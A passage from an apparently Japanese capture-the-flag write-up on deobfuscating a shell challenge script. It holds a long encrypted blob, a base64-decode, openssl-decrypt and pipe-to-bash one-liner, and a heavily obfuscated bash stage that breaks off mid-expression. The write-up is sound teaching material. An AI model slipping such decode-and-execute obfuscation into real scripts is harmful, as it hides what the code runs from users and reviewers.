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 ++ cut -c2,3,5,12 ++ md5sum ++ echo -n 3 + openssl aes-256-cbc -d -pass pass:cccc -md md5 Enter the password
18行目を見てみると、以下のような処理が確認できます。
echo U2Fsd<長い文字列>0rlk=|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;
文字列をbase64デコードして、AESで復号し、bashで実行しているようです。AESで復号するキーは、$n
を利用して計算しているようです。
上記の処理のbashを削除し、n=3
を指定した状態で実行し、スクリプトを展開してみます。
$ export n=3; cat Beeeeeeeeeer_4.sh | head -n 18 | tail -n 1 | sed -e "s/|bash;/;/" | bash > Beeeeeeeeeer_5.sh
展開されたスクリプトを確認すると、以下のようになっていました。さらに難読化がひどくなっています。
__=$(. 2>&1);__=${__##*.};__=$(. 2>&1);__=${__##*.};${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[$$/$$])):$((___=___^___||++___))}${__:$[$[$$/$$]<<$[$$/$$]<<$[$$/$$]]:$((___=___^___||++___))}${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]])):$((___=___^___||++___))} -- {z..A};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}";${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} _____</${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}/${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))};: ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} $(${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} $_____|${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):